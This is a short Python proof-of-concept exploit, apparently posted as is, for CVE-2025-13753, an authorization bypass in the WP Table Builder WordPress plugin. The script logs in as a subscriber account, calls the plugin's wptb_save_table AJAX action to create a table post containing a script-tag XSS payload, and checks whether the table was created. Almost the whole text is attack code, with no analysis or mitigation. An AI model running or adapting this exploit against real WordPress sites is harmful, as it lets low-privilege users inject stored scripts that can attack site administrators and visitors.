CVE-2025-13753

# CVE-2025-13753 PoC - WP Table Builder Authorization Bypass # Affected: WP Table Builder plugin <= 2.0.19 # Type: Incorrect Authorization Check import requests import sys from urllib.parse import urlencode target_url = "http://target-wordpress-site.com" username = "subscriber_user" password = "user_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data, cookies=session.cookies) # Step 2: Create malicious wptb-table post via save_table() # The vulnerability allows Subscriber role to create wptb-table posts save_table_url = f"{target_url}/wp-admin/admin-ajax.php" # Table data payload - can contain malicious content table_payload = { "action": "wptb_save_table", "wptb_table_data": "[{\"row\":0,\"col\":0,\"content\":\"<script>alert('XSS')</script>\"}]", "wptb_table_title": "Malicious Table Created by Subscriber", "post_id": "0", # 0 for new post creation "nonce": "" # May need to extract valid nonce from page source } response = session.post(save_table_url, data=table_payload) print(f"Response Status: {response.status_code}") print(f"Response Content: {response.text}") # Step 3: Verify table creation # Check if wptb-table post was created in WordPress admin verify_url = f"{target_url}/wp-admin/edit.php?post_type=wptb-table" verify_response = session.get(verify_url) print(f"Verification - Tables page accessible: {verify_response.status_code == 200}")

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